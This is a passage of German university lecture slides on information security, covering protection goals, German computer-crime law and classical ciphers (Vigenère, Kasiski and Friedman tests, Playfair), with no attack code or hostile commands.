I Modul Informationssicherheit I - htw-dresden.derobge/is/vl/is-all-6up.pdf · Modul...
Transcript of I Modul Informationssicherheit I - htw-dresden.derobge/is/vl/is-all-6up.pdf · Modul...
Modul InformationssicherheitThema 1: Einführung
Robert Baumgartl
18. Juli 2018
1 / 27
Organisatorisches
I PflichtmodulI 2/0/2, d. h., 90’ Vorlesung und 90’ Praktikum pro WocheI Vorlesung montags, 11:10 Uhr bzw. 15:10 Uhr (im
Wechsel), S 331I Kontaktmöglichkeiten:
I persönlich nach Vorlesung/Praktikum oder zurSprechstunde (dienstags 11-12 Uhr, Z 357)
I per Mail [email protected]
I dem Subject bitte „[IS]“ voranstellenI Tel. (0351) 462 2510
I PrüfungI Klausur, 90’I Hilfsmittel: 1 Seite A4 einseitig beschrieben;
nichtprogrammierbarer TRI Zulassungsvoraussetzung: Beleg (PVL, d. h. unbenotet)
2 / 27
OrganisatorischesPraktika, Belegaufgabe
PraktikumI 3 Gruppen/TermineI Prof. Baumgartl, Herr PaulI Start: nachherI Aufgabenblätter:
http://www.informatik.htw-dresden.de/~robge/is/is.html
Prüfungsvorleistung:I Bekanntgabe der Aufgabenstellung etwa zur
SemestermitteI (personalisierte) Aufgabe, die mittels C und libcrypto
(OpenSSL) implementiert werden muss
3 / 27
RessourcenVorlesungsunterlagen, Bücher
I Vorlesungsfolien (im PDF), Praktikumsaufgaben, aktuelleInformationen erscheinen im Laufe des Semesters unterhttp://www.informatik.htw-dresden.de/~robge/is/is.html
I Bruce Schneier. Angewandte Kryptographie. Pearson,2006 (besser die englische Ausgabe von 1996)
I Matt Bishop. Introduction to Computer Security. PrenticeHall, 2004
I Albrecht Beutelspacher. Kryptologie. 9. Aufl.Vieweg+Teubner, 2009
I Ross Anderson. Security Engineering. 2. Aufl. Wiley, 2008I Youtube! (z. B. Christoph Paar)
4 / 27
RessourcenWeb, Vorschläge
I http://www.schneier.comI http://www.phrack.orgI http://www.backtrack-linux.org/I http://computer-forensik.orgI https://www.ccc.deI http://www.lightbluetouchpaper.org/I http://insecure.orgI http://www.forensix.org
5 / 27
MotivationSchlagzeilen der letzten Zeit
I Cambridge Analytica hat 50 Millionen Facebook-Profilegescrapet und ggf. missbraucht (Link, 21. 03. 2018)
I Gravierende Prozessor-Sicherheitslücken: Meltdown undSpectre (Link, 04. 01. 2018)
I „KRACK - so funktioniert der Angriff auf WPA2“ (Link,19. 10. 2017)
I „Schutz durch Speicherverwürfelung ASLR geknackt“(Link, 15. 02. 2017)
I „Todesstoß: Forscher zerschmettern SHA-1“ (Link,23. 02. 2017)
I „Vault 7: Wikileaks präsentiert Liste derCIA-Hacker-Werkzeuge“ (Link, 23. 02. 2017)
I „Kriminelle bieten Mirai-Botnetz mit 400.000 IoT-Gerätenzur Miete an“ (Link, 25. 11. 2016)
6 / 27
1
Motivation
7 / 27
Was machen wir hier eigentlich?
Beschäftigung mit den grundlegenden Anforderungen an dieSicherheit beim Betrieb von Rechensystemen:I Vertraulichkeit,I Integrität,I Verfügbarkeit.
Des weiteren widmen wir uns den AspektenI Authentizität/Authentifizierung,I Zurechenbarkeit/Nichtabstreitbarkeit,I Anonymität.
Szenarien: Angriffe und Gegenmaßnahmen
Handhabung ausgewählter Werkzeuge für die Praxis
Betrachtung beider Seiten
(vgl. Modulbeschreibung I-170)10 / 27
Inhalt der Lehrveranstaltung
I Einführung, Motivation, Grundlagen, BegriffeI Klassische Verfahren und Angriffe auf dieseI (kryptografische) Hashfunktionen, Kollisionen,
Geburtstagsparadoxon, Signaturen,I Moderne symmetrische Verschlüsselungsverfahren (DES,
AES, IDEA)I mathematische GrundlagenI asymmetrische Verfahren (Diffie-Hellman, RSA, ElGamal)I kryptografische Algorithmen, Schlüsselverwaltung, API,
WerkzeugeI Zugangskontrolle, Passwortsysteme, Rainbow TablesI Anonymität, Mixe, TorI Zero-Knowledge-ProtokolleI Programme mit Schadensfunktion (Malware)
11 / 27
Schutzziel: Vertraulichkeit (Confidentiality)
I ist das Verbergen von InformationenI sensitive Daten, z. B.
I personenbezogenI der militärischen Geheimhaltung unterliegendI Geschäftsgeheimnisse
I wird durch Mechanismen bzw. Dienste gewährleistet, z. B.I Ver- und Entschlüsselung (Kryptografie)I Verbergen in „unverdächtigen“ Daten (Steganografie)I Zugriffssteuerung (Access Control)
I erfordert Unterstützung durch das System
12 / 27
Schutzziel: (Daten-)Integrität
I Verhinderung der Verfälschung von Daten, Ressourcenetc.
I „Kann ich den Daten trauen?“I realisiert durch
I Verhinderung unautorisierten SchreibzugriffsI Erkennung einer Integritätsverletzung (z. B. durch
kryptografische Prüfsummen)I Unterscheidung der Integrität der Daten selbst sowie der
datengenerierenden QuelleI Verletzung der Integrität möglich durch
I unautorisierte Personen (Angriff von außen)I autorisierte Personen (Angriff von innen)
13 / 27
Schutzziel: Verfügbarkeit (Availability)
I bezüglich einer Ressource, eines Dienstes, bestimmterInformationen
I auch ein Aspekt der Systemzuverlässigkeit (Security vs.Safety)
I Denial of Service Attack vermindert bzw. eliminiert dieVerfügbarkeit o. g. Ressourcen, Dienste etc.→wirtschaftlicher Schaden
I meist (aber nicht immer) gegen einzelne Server, Firmenetc. gerichtet
14 / 27
2
Beispiel: Hackerangriff auf Bundestag 2015
I im Mai 2015 wurde bekannt, dass das gesamte Computernetzdes Bundestags Ziel eines Hackerangriffs sei
I Ausgangspunkt: Phishingangriff via Mail (un.org), Link aufSeite mit Schadsoftware
I 1 Rechner mit Trojaner infiziert, Verschaffung vonAdmin-Passworten
I Konsequenz: viertägige (!) Abschaltung des gesamten Netzes
I Ziel war wahrscheinlich der Diebstahl aller möglichenDokumente (.pdf, .xls, .xlsx, .doc, .docx)
Literatur:
I https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/
I https://netzpolitik.org/2016/wir-veroeffentlichen-dokumente-zum-bundestagshack-wie-man-die-abgeordneten-im-unklaren-liess/
15 / 27
Policy und Mechanism (Strategie und Mechanismus)
Eine Sicherheitsstrategie (security policy) ist dieFormulierung, welche Aktionen für welche Nutzer erlaubt bzw.verboten sind.Ein Sicherheitsmechanismus (security mechanism) ist eineMethode oder Vorgehensweise, eine gegebeneSicherheitsstrategie zu verwirklichen.
Beispiel:Strategie: Nur ich darf mein Homeverzeichnis ansehen.Mechanismen:
a) Nutzerauthentifizierung und (vernünftiges) Passwortb) Rechner→ abschließbarer Raum, kein Netzc) Verschlüsselung des Massenspeichers/Dateisystems
(TrueCrypt)
16 / 27
Bedrohungen (Threats)
Eine Bedrohung ist eine potentielle Verletzung derSicherheitsstrategie.
(eine) Möglichkeit der Klassifizierung:I Aufdeckung (Disclosure) - unautorisierter Zugang zu
Informationen (Abhören, Durchsuchen, Kopieren)I Täuschung (Deception) - Fälschung von DatenI Unterbrechung (Interruption) - Das System funktioniert nur
noch teilweise oder gar nicht mehrI Übernahme (Usurpation) - das System wird teilweise oder
vollständig durch Dritte genutzt und gesteuert
17 / 27
Einige Gesetzestexte§202a StGB: „Ausspähen von Daten“
(1) Wer unbefugt sich oder einem anderen Zugang zu Daten,die nicht für ihn bestimmt und die gegen unberechtigtenZugang besonders gesichert sind, unter Überwindung derZugangssicherung verschafft, wird mit Freiheitsstrafe bis zudrei Jahren oder mit Geldstrafe bestraft.
(2) Daten im Sinne des Absatzes 1 sind nur solche, dieelektronisch, magnetisch oder sonst nicht unmittelbarwahrnehmbar gespeichert sind oder übermittelt werden.
18 / 27
Einige Gesetzestexte§202b StGB: „Abfangen von Daten“
Wer unbefugt sich oder einem anderen unter Anwendung vontechnischen Mitteln nicht für ihn bestimmte Daten (§202aAbs. 2) aus einer nichtöffentlichen Datenübermittlung oder ausder elektromagnetischen Abstrahlung einerDatenverarbeitungsanlage verschafft, wird mit Freiheitsstrafebis zu zwei Jahren oder mit Geldstrafe bestraft, wenn die Tatnicht in anderen Vorschriften mit schwererer Strafe bedroht ist.
(in Kraft getreten am 7. August 2007)
19 / 27
Der „Hackerparagraf“§202c StGB: „Vorbereiten des Ausspähens und Abfangens von Daten“
(1) Wer eine Straftat nach §202a oder §202b vorbereitet, indemer
1. Passwörter oder sonstige Sicherungscodes, die denZugang zu Daten (§202a Abs.2) ermöglichen, oder
2. Computerprogramme, deren Zweck die Begehung einersolchen Tat ist,
herstellt, sich oder einem anderen verschafft, verkauft, einemanderen überlässt, verbreitet oder sonst zugänglich macht, wirdmit Freiheitsstrafe bis zu einem Jahr oder Geldstrafe bestraft.
(2) §149 Abs.2 und 3 gilt entsprechend.
20 / 27
3
„Datenhehlerei“§202d StGB, 2015
(1) Wer Daten (§ 202a Absatz 2), die nicht allgemein zugänglich sind und die einanderer durch eine rechtswidrige Tat erlangt hat, sich oder einem anderen verschafft,einem anderen überlässt, verbreitet oder sonst zugänglich macht, um sich oder einenDritten zu bereichern oder einen anderen zu schädigen, wird mit Freiheitsstrafe bis zudrei Jahren oder mit Geldstrafe bestraft.
(2) Die Strafe darf nicht schwerer sein als die für die Vortat angedrohte Strafe.
(3) Absatz 1 gilt nicht für Handlungen, die ausschließlich der Erfüllung rechtmäßigerdienstlicher oder beruflicher Pflichten dienen. Dazu gehören insbesondere
1. solche Handlungen von Amtsträgern oder deren Beauftragten, mit denen Datenausschließlich der Verwertung in einem Besteuerungsverfahren, einemStrafverfahren oder einem Ordnungswidrigkeitenverfahren zugeführt werdensollen, sowie
2. solche beruflichen Handlungen der in § 53 Absatz 1 Satz 1 Nummer 5 derStrafprozessordnung genannten Personen, mit denen Datenentgegengenommen, ausgewertet oder veröffentlicht werden.
21 / 27
Straffreiheit§149 StGB: „Vorbereitung der Fälschung von Geld und Wertzeichen“
(2) Nach Absatz 1 wird nicht bestraft, wer freiwillig1. die Ausführung der vorbereiteten Tat aufgibt und eine von
ihm verursachte Gefahr, daß andere die Tat weitervorbereiten oder sie ausführen, abwendet oder dieVollendung der Tat verhindert und
2. die Fälschungsmittel, soweit sie noch vorhanden und zurFälschung brauchbar sind, vernichtet, unbrauchbar macht,ihr Vorhandensein einer Behörde anzeigt oder sie dortabliefert.
(3) Wird ohne Zutun des Täters die Gefahr, daß andere die Tatweiter vorbereiten oder sie ausführen, abgewendet oder dieVollendung der Tat verhindert, so genügt an Stelle derVoraussetzungen des Absatzes 2 Nr. 1 das freiwillige undernsthafte Bemühen des Täters, dieses Ziel zu erreichen.
(http://dejure.org/gesetze/StGB/ )22 / 27
Zusammenfassung §202
I Früher: Bloßes Eindringen in fremde Systeme nichtstrafbar.
I Nun: Unbefugter Zugang unter Überwindung vonSicherheitsvorkehrungen ist strafbar!
I Hauptmangel: fehlende präzise Definition strafrechtlichrelevanter Werkzeuge („Hackertools“)
I Werkzeuge nach § 202b sind offensichtlich auch vieleSicherheitstools, deren Einsatz zur Gewährleistung derSystemsicherheit unabdingbar ist?!
I Gesetz wurde ziemlich kontrovers diskutiert, im Mai 2007in Kraft gesetzt.
I „Gutartige“ Verwendung von Hackertools ist bislang nichtbetraft worden.
„Literatur“: Chaosradio CR 137 Der Hackerparagraph. Der§202c auf dem Prüfstand. Podcast vom 31. 7. 2008http://chaosradio.ccc.de/cr137.html
23 / 27
Beispiel: John the Ripper
I Passwortcracker für Unix und WindowsI http://www.openwall.com/john/I gern genutzt, um schwache Passphrasen zu entdecken
(und damit die Systemsicherheit zu erhöhen)I Download und Verbreitung ist nach § 202c strafbar,
Nutzung im o. g. Sinne nach § 202a möglicherweise auch
24 / 27
Einige Formen der Computerkriminalitätohne Anspruch auf Vollständigkeit
I EinbruchI IdentitätsdiebstahlI SpionageI Denial-of-Service (z. B. www.bundeskanzlerin.de,
7. 1. 2015)I Sabotage (z. B. Stuxnet)I Manipulation (Fälschen) von Daten (z. B. Defacement von
Webseiten)I SpammingI unerlaubte Verbreitung urheberrechtlich geschützter
Werke („Piraterie“)
25 / 27
Beispiel: DefacementWebsite der Brazilian Air Force, 3. 9. 2013
26 / 27
4
Zusammenfassung: Was haben wir gelernt?
1. Warum gibt es das Fach Informationssicherheit?2. 3 Säulen: Vertraulichkeit, Integrität, Verfügbarkeit3. Was beinhaltet der Hackerparagraf?
27 / 27
Vorlesung InformationssicherheitThema 2: Grundlagen der Kryptographie
Robert Baumgartl
18. Juli 2018
1 / 57
Krypt-was?
Zwei Teilgebiete:Kryptografie beschäftigt sich mit der sicheren Übertragung von
NachrichtenKryptanalyse ist das Brechen von kryptografisch
verschlüsselten NachrichtenKryptologie umfasst beide Teildisziplinen und ist selbst ein
Teilgebiet der Mathematik.
2 / 57
Grundbegriffe
Sender und Empfänger tauschen Nachrichten aus.
Damit niemand außer den beiden Teilnehmern den Inhalt derNachrichten lesen kann, werden diese beim Empfängerverschlüsselt und beim Empfänger entschlüsselt:
Verschlüsselung Entschlüsselungverschlüsselter TextKlartext Klartext
M MC
Verschlüsselungsfunktion E (encryption)Entschlüsselungsfunktion D (decryption)
Die unverschlüsselte Nachricht wird Klartext (P, Plain Text,oder M, Message) genannt. Die verschlüsselte Nachricht heißtChiffrat (C).
E(M) = C D(C) = M und damit D(E(M)) = M.
3 / 57
Historie: Skytale
I älteste (dokumentierte) kryptografische Methode (Sparta, ≈ 500v.u.Z.)
Prinzip:
I Pergament- bzw.Lederstreifen um Holzstabdefinierter Dicke gewickelt
I längs beschriftet
I abgewickelt unlesbar
I Empfänger kann Botschaftnur lesen, wenn Holzstabgleicher Dicke benutzt
Prinzip der Skytale1
1Abb.: CrypTool-Projekt, http://www.cryptool.org, Skytale3d de, CC BY-SA 3.04 / 57
Historie: Chiffrierung durch Transposition
Idee: Nur die Positionen der zu kodierenden Zeichen werdenmanipuliert.
Beispiel: Spaltentransposition
Klartext: COMPUTER GRAPHICS MAY BE SLOW BUT ATLEAST IT’S EXPENSIVE
COMPUTERGRAPHICSMAYBESLOWBUTATLEASTITSEXPENSIVEXXX
Chiffrat: CAELP OPSEE MHLAN PIOSS UCWTI TSBIVEMUTE RATSX GYAEX RBTXX
5 / 57
5
Historie: Chiffrierung mittels Substitution
I Idee: Elemente im Klartext werden durch andere Elementeim Chiffretext ersetzt
I Dechiffrierung durch Umkehrung der Substitution
Einfachste Form: monoalphabetische SubstitutionI jedem Zeichen im Klartext ist genau ein Zeichen im
Chiffrat zugeordnet ( genau ein Alphabet)I Caesar-Verschlüsselung (Pos. im Alphabet + 3 modulo 26)I ROT-13 Pos. im Alphabet + 13 modulo 26I unter Ausnutzung relativer Buchstabenhäufigkeiten sehr
leicht zu brechen
6 / 57
Buchstabenhäufigkeit
Buchstabe Häufigkeit Buchstabe Häufigkeita 6.51 n 9.78b 1.89 o 2.51c 3.06 p 0.79d 5.08 q 0.02e 17.40 r 7.00f 1.66 s 7.27g 3.01 t 6.15h 4.76 u 4.35i 7.55 v 0.67j 0.27 w 1.89k 1.21 x 0.03l 3.44 y 0.04
m 2.53 z 1.13
Tabelle: Häufigkeit von einzelnen Buchstaben in deutschenGebrauchstexten (in Prozent)
7 / 57
Historie: Chiffrierung mittels SubstitutionWeitere Kategorien von Substitutionsverfahren
homophone SubstitutionI ein Zeichen Klartext kann auf verschiedene Zeichen
Chiffre abgebildet werdenI Zeichenvorrat des Chiffrats größer
polygrafische SubstitutionI Blöcke von Zeichen im Klartext werden auf Blöcke von
Zeichen im Chiffrat abgebildetpolyalphabetische SubstitutionI je nach Position des Zeichens werden unterschiedliche
Kodierungsalphabete genutztI z. B. Vigenère-Verschlüsselung
8 / 57
Historie: Chiffrierung mittels SubstitutionDigrafisches System von Giovanni Battista Porta (1563)
Paare von Buchstaben werden durch graphische Symbole ersetzt(David Kahn: The Codebreakers. Scribner, 1996, S. 139)
9 / 57
Vigenère-Verschlüsselung
I Idee: Nutzung mehrerer (bis zu 26) monoalphabetischerVerschlüsselungen im Wechsel; Anordnung imsog. Vigenère-Quadrat
I entwickelt von Blaise de Vigenère (1523-1596)I Basis vieler Verschlüsselungen, die bis heute genutzt
werdenI gleicht unterschiedliche Auftrittswahrscheinlichkeiten der
Buchstaben ausI über Analyse der Buchstabenhäufigkeiten nicht zu
brechen
10 / 57
Vigenère-VerschlüsselungHilfsmittel: Vigenère-Quadrat oder -Tableau
A B C D E F G H I J K L M N O P Q R S T U V W X Y ZB C D E F G H I J K L M N O P Q R S T U V W X Y Z AC D E F G H I J K L M N O P Q R S T U V W X Y Z A BD E F G H I J K L M N O P Q R S T U V W X Y Z A B CE F G H I J K L M N O P Q R S T U V W X Y Z A B C DF G H I J K L M N O P Q R S T U V W X Y Z A B C D EG H I J K L M N O P Q R S T U V W X Y Z A B C D E FH I J K L M N O P Q R S T U V W X Y Z A B C D E F GI J K L M N O P Q R S T U V W X Y Z A B C D E F G HJ K L M N O P Q R S T U V W X Y Z A B C D E F G H IK L M N O P Q R S T U V W X Y Z A B C D E F G H I JL M N O P Q R S T U V W X Y Z A B C D E F G H I J KM N O P Q R S T U V W X Y Z A B C D E F G H I J K LN O P Q R S T U V W X Y Z A B C D E F G H I J K L MO P Q R S T U V W X Y Z A B C D E F G H I J K L M NP Q R S T U V W X Y Z A B C D E F G H I J K L M N OQ R S T U V W X Y Z A B C D E F G H I J K L M N O PR S T U V W X Y Z A B C D E F G H I J K L M N O P QS T U V W X Y Z A B C D E F G H I J K L M N O P Q RT U V W X Y Z A B C D E F G H I J K L M N O P Q R SU V W X Y Z A B C D E F G H I J K L M N O P Q R S TV W X Y Z A B C D E F G H I J K L M N O P Q R S T UW X Y Z A B C D E F G H I J K L M N O P Q R S T U VX Y Z A B C D E F G H I J K L M N O P Q R S T U V WY Z A B C D E F G H I J K L M N O P Q R S T U V W XZ A B C D E F G H I J K L M N O P Q R S T U V W X Y
Sch
lues
sel
Klartexta b c d e f g h i j k l m n o p q r s t u v w x y z
11 / 57
6
Anwendung
Wahl eines Schlüsselworts – Zuordnung Buchstaben desSchlüsselwortes zu Klartextbuchstaben (ggf. mehrfach)
Verschlüsselung: Schnittpunkt Zeile Schlüsselbuchstabe -Spalte Klartextbuchstabe liefert Chiffratbuchstaben
Entschlüsselung: Schlüsselbuchstabe selektiert wiedermonoalphabetische Chiffre, Aufsuchen desChiffratbuchstabens in Chiffre, darüberliegender Spaltenkopf istKlartextbuchstabe
Beispiel: (Schlüsselwort: „Elba“)
Schlüssel E L B A E L B A E L B A E L B A E
Klartext a n g r i f f z w e i u h r m e z
Chiffrat E Y H R M Q G Z A P J U L C N E D
12 / 57
Vigenère-VerschlüsselungKasiski-Test
Friedrich Wilhelm Kasiski (1863) beobachtete:
Schlüssel E L B A E L B A E L B A E L B A E
Klartext · · e i n · · · · · · e i n · · ·Chiffrat · · F I R · · · · · · E M Y · · ·
Schlüssel E L B A E L B A E L B A E L B A E
Klartext · · · e i n · · · · · e i n · · ·Chiffrat · · · E M Y · · · · · E M Y · · ·
I Identische Klartextpassagen werden auf identischeChiffratphrasen abgebildet, wenn sie unter identischenBuchstaben des Schlüsselwortes stehen.
I Abstand ist ein Vielfaches der Schlüssellänge!
13 / 57
Vigenère-VerschlüsselungKasiski-Test
I Suche nach sich wiederholenden Buchstabenfolgen derLänge 3 und größer im Chiffrat
I Bestimmung des Abstandes dieser gleichenBuchstabenfolgen
I Abstand ist Vielfaches der SchlüssellängeI Gibt es mehrere Abstände, so muss die Schlüssellänge
alle (bzw. die allermeisten) Abstände teilen.I Ermittlung der Schlüssellänge ist ausreichend, um
Vigenère-Verschlüsselung zu brechen.
14 / 57
Vigenère-VerschlüsselungKasiski-Test: Beispiel
EYRYC FWLJH FHSIU BHMJO UCSEGTNEER FLJLV SXMVY SSTKC MIKZSJHZVB FXMXK PMMVW OZSIA FCRVFTNERH MCGYS OVYVF PNEVH JAOVWUUYJU FOISH XOVUS FMKRP TWLCI
FMWVZ TYOIS UUIIS ECIZV SVYVFPCQUC HYRGO MUWKV BNXVB VHHWIFLMYF FNEVH JAOVW ULYER AYLERVEEKS OCQDC OUXSS LUQVB FMALFEYHRT VYVXS TIVXH EUWJG JYARS
ILIER JBVVF BLFVW UHMTV UAIJHPYVKK VLHVB TCIUI SZXVB JBVVPVYVFG BVIIO VWLEW DBXMS SFEJGFHFVJ PLWZS FCRVU FMXVZ MNIRIGAESS HYPFS TNLRH UYR
Folge Abstand ZerlegungTNE 50 2·5·5
FCRV 265 5·53NEVHJAOVWU 90 2·3·3·5
VWU 75 3·5·5(OIS) (26) (2·13)
Vermutete Schlüssellänge: ggT(50,265,90,75) = 5.
15 / 57
Vigenère-VerschlüsselungFriedman-Test: Koinzidenzindex
I William Friedman (1925)I statistische GrößeI kann zur Kryptanalyse unbekannter Chiffrate eingesetzt
werden.
Mit welcher Wahrscheinlichkeit ‘erwischt’ man bei zufälligerAuswahl zweier Zeichen aus einem gegebenen Text zweigleiche Zeichen?
16 / 57
Vigenère-VerschlüsselungFriedman-Test: Koinzidenzindex
I Anzahl Buchstabenpaare ‘aa’ aus einem Text, der n1-mal ’a’ enthält:
n1(n1 − 1)
2
I Anzahl Buchstabenpaare ’aa’, ‘bb’, . . . , ‘zz’ aus einem Text, der n1-mal ‘a’, n2-mal ‘b’, . . . , n26-mal ‘z’enthält:
n1(n1 − 1)
2+
n2(n2 − 1)
2+ · · · +
n26(n26 − 1)
2=
26∑
i=1
ni (ni − 1)
2
I Wahrscheinlichkeit, bei zufälliger Auswahl zweier Zeichen aus einem Text der Länge n zwei gleiche Zeichenzu erhalten:
26∑
i=1
ni (ni − 1)
2
n(n − 1)
2
=
26∑
i=1
ni (ni − 1)
n(n − 1)= κ
I κ (Kappa) ist der Friedmansche Koinzidenzindex
17 / 57
7
Vigenère-VerschlüsselungKoinzidenzindex mit Auftrittswahrscheinlichkeiten
Gegeben: Text deutscher Sprache (Auftrittswahrscheinlichkeiten der einzelnen Buchstaben bekannt)I Wkt., dass erster Buchstabe des Paares ein ‘a’ ist, ist p1
I Wkt., dass zweiter Buchstabe des Paares ein ‘a’ ist, ist ebenfalls p1
I Wkt., bei zufälliger Auswahl zweier Zeichen aus einem deutschen Text zweimal ‘a’ zu erhalten ist damit p21 .
I Wkt., bei zufälliger Auswahl zweier Zeichen aus einem deutschen Text zwei gleiche Buchstaben zu erhalten:
κ = p21 + p2
2 + · · · + p226 =
26∑
i=1
p2i .
κ der deutschen Sprache ist damit:
κDE = 0.06512 + 0.01892 + · · · + 0.01132 ≈ 0.0762. (κEN ≈ 0.0667)
Für einen Text aus zufälligen Buchstaben ergibt sich hingegen:
κRND =26∑
i=1
p2i =
26∑
i=1
( 1
26
)2= 26 ·
1
262=
1
26≈ 0.0385.
18 / 57
Vigenère-VerschlüsselungFriedman-Test
gegeben:I Chiffrat der Länge n ( Koinzidenzindex κ des Chiffrats
trivial zu ermitteln)I Wissen über die Sprache des Klartextes (z. B. Deutsch,κDE bekannt)
Dann beträgt die Länge h des Schlüssels näherungsweise(Friedman, 1925):
h ≈ n(κDE − κRND)
κ · (n − 1) + κDE − nκRND.
Literatur: Albrecht Beutelspacher: Kryptologie. 9. Auflage,Wiesbaden, 2009, S. 34–40.
19 / 57
Vigenère-VerschlüsselungVon der Schlüssellänge zur Dechiffrierung
Schlüsselwortlänge h Chiffrat besteht aus h Folgen, diemonoalphabetisch verschlüsselt sind:
Nummern derBuchstaben desChiffrats
1 2 3 ......h + 1 h + 2 h + 3
h2h
2h + 1 2h + 2 ...2h + 3 3h
... ... ......
...Schlüssel
...
jeweils monoalphabetisch verschlüsselt
...
20 / 57
Historie: Codex Copiale2
2Abb.: gemeinfrei21 / 57
Historie: Codex Copiale
I verschlüsselte Handschrift aus dem 18. Jh.I homophone VerschlüsselungI 2011 entschlüsselt (Kevin Knight et al: The Copiale Cipher.
Proceedings of the 4th Workshop on Building and UsingComparable Corpora. Stroudsburg PA, 2011)
I deutscher KlartextI Beschreibung geheimer Initiationsriten einer deutschen
freimaurerähnlichen Gesellschaft („Oculisten“)
22 / 57
Historie: Das Voynich-Manuskript3
I wahrscheinlich zwischen1404 und 1438 geschrieben
I 102 (erhaltene)Pergament-Blätter,beschrieben in einerunbekannten Sprache
I „Text“ gehorcht bestimmtennatürlichsprachigenStatistiken
I bis heute nicht entschlüsselt(Freiwillige vor!)
3Abb.: gemeinfrei23 / 57
8
Playfair-Chiffre1. Vorbereitung Klartext
I Kleinbuchstaben in Großbuchstaben umwandelnI Interpunktionszeichen eliminierenI Substitution des ‘J’ durch ‘I’I Ersetzung der Umlaute durch Zwielaute (‘Ä’→ ‘AE’ usw.)I Unterteilung in Bigramme, dabei Einfügen eines ‘X’, falls
Buchstaben in ein- und demselben Bigramm doppeltauftreten
I Anfügen eines ‘X’, falls ungerade Anzahl Zeichen resultiert
Beispiel-Klartext: „Jawoll, Ostern ist schön!“Resultat Vorbereitung: „IA WO LX LO ST ER NI ST SC HO EN“
24 / 57
Playfair-Chiffre2. Erstellung des Playfair-Quadrates
Anordnung aller Buchstaben des Alphabets (ohne ‘J’) in5x5-Quadrat nach folgender Vorschrift:
I links oben beginnend nach rechtsSchlüsselwort eintragen, dabeidoppelt vorkommendeBuchstaben auslassen
I danach die restlichen Buchstabenin alphabetischer Reihenfolge
I Beispielschlüssel: „Osterhase“
Beispiel:
V W X Y Z
M N P Q U
F G I K L
H A B C D
O S T E R
Sender und Empfänger generieren Quadrat; müssen alsoSchlüssel kennen.
25 / 57
Playfair-Chiffre3. (Bigrammweise) Verschlüsselung
a) Stehen beide Zeichen des Plaintextes inein- und derselben Zeile, dann Ersetzungder Zeichen durch die jeweils rechtsdavon stehenden Zeichen (mit„Wrap-Around"). Beispiel: ST → TE
b) Stehen beide Zeichen des Plaintextes inein- und derselben Spalte, dann Ersetzungdurch die jeweils darunterstehendenZeichen (mit „Wrap-Around").Beispiel: HO → FH
c) Ansonsten Ersetzung der Zeichen desPlaintextes durch die diagonalgegenüberliegenden „Ecken“ desaufgespannten Rechtecks; Zeile zuerst.Beispiel: LX → IZ
Beispiel:
V W X Y Z
M N P Q U
F G I K L
H A B C D
O S T E R
26 / 57
Playfair-ChiffreVerschlüsselung des Beispiels
Klartext ChiffratIA GB
WO VSLX IZLO FRST TEER RONI PGST TESC EAHO FHEN SQ
Playfair-Quadrat:
V W X Y Z
M N P Q U
F G I K L
H A B C D
O S T E R
27 / 57
Playfair-ChiffreAnmerkungen
I Entschlüsselung erfolgt in (geometrisch) umgekehrterRichtung.
I Verfahren ist monoalphabetisch bigraphisch.I überlegen ggü. Verfahren mit einzelnen ZeichenI sehr leicht zu erlernen und auszuführen (Forderung Nr. 6
der Kerckhoffs’schen Prinzipien)I 1854 von Sir Charles Wheatstone erfunden; Lord Lyon
Playfair zugeschriebenI genutzt bis ca. zum 1. WeltkriegI heute kryptografisch gebrochen, d. . h., unsicher
28 / 57
HistorieWeiterführende Literatur
I Friedrich L. Bauer. Entzifferte Geheimnisse. Springer,1995
I Simon Singh. Geheime Botschaften. dtv, 2001I David Kahn. The Codebreakers. Scribner, 1996I Klaus Schmeh. Codeknacker gegen Codemacher. 3. Aufl.
w3l AG, 2014
29 / 57
9
Schlüssel
Ver- und Entschlüsselung erfolgt bei modernen Algorithmen mitsog. Schlüsseln (K , key).
I Schlüssel haben i. a. sehr großer Wertebereich (damit mannicht alle durchprobieren kann)
I Schlüssel sind für Ver- und Entschlüsselung nötig
Es gibt sowohl Verfahren, die ein- und denselben Schlüssel fürVer- und Entschlüsselung nutzen, als auch Verfahren, dieverschiedene Schlüssel erfordern.
→ Sicherheit der Verfahren hängt maßgeblich von Schlüsselnab.
30 / 57
Zwei Kategorien von Verschlüsselungsverfahren
Kryptografische Algorithmen mit Schlüsseln:1. symmetrische Verfahren
I Chiffrier- und Dechriffrierschlüssel meist identischI aka secret key, single keyI Schlüssel muss zwischen Sender und Empfänger
vereinbart werdenI Schlüssel muss unbedingt geheim bleiben!I blockbasierte vs. strombasierte Verfahren
2. asymmetrische VerfahrenI 2 verschiedene SchlüsselI Chiffrierschlüssel ist öffentlich (public key)I Dechiffrierschlüssel ist geheim (private key)I jeder kann eine Nachricht verschlüsselnI nur der Besitzer des Dechiffrierschlüssels kann diese
entschlüsseln
Ein Kryptosystem ist ein Verschlüsselungsalgorithmus sowiealle möglichen Klartexte, Chiffren und Schlüssel.
31 / 57
Kerckhoffs’sches Prinzip
Anforderungen an ein sicheres Kryptosystem:I Das System muss im Wesentlichen, am besten
mathematisch, unentschlüsselbar sein.I Das System darf keine Geheimhaltung erfordern und kann
durch den Gegner gestohlen werden.I Es muss leicht übermittelbar sein und man muss sich die
Schlüssel ohne schriftliche Aufzeichnung merken können,Schlüssel müssen leicht austauschbar sein.
I Das System sollte mit telegraphischer Kommunikationkompatibel sein.
I Das System muss transportabel sein und die Bedienungdarf nicht mehr als eine Person erfordern.
I Das System muss einfach anwendbar sein [. . . ].(Auguste Kerckhoffs: La Cryptographie Militaire. In: Journal desSciences Militaires, Januar 1883, S. 12)
32 / 57
Blockbasierte vs. strombasierte Verfahren
blockbasiert:1. Klartext wird in Blöcke gleicher Länge strukturiert2. ggf. werden Nullbytes aufgefüllt (Padding)3. Ver- und Entschlüsselung erfolgen blockweise4. typische Längen: 64 Bit (DES), 128 Bit (AES), 1024 (RSA)5. meiste moderne Verfahren
strombasiert:I Strom von Bits, Bytes oder ZeichenI Ver- und Entschlüsselung erfolgt bit-, byte- oder
zeichenweiseI Vigenère-Verfahren, XOR-Verschlüsselung, RC4, A5/1
(GSM)I Vorteil: es muss nicht auf Komplettierung des ersten
Blockes gewartet werden (niedrige Latenz)
33 / 57
Beschränkte Algorithmen
I nicht publiziert (geheimgehalten)I breiter wissenschaftlichen Diskussion entzogen (kein Peer
Review)I beziehen ihre „Sicherheit“ aus der Geheimhaltung des
AlgorithmusI ein Algorithmus kann immer aus dem Binärabbild
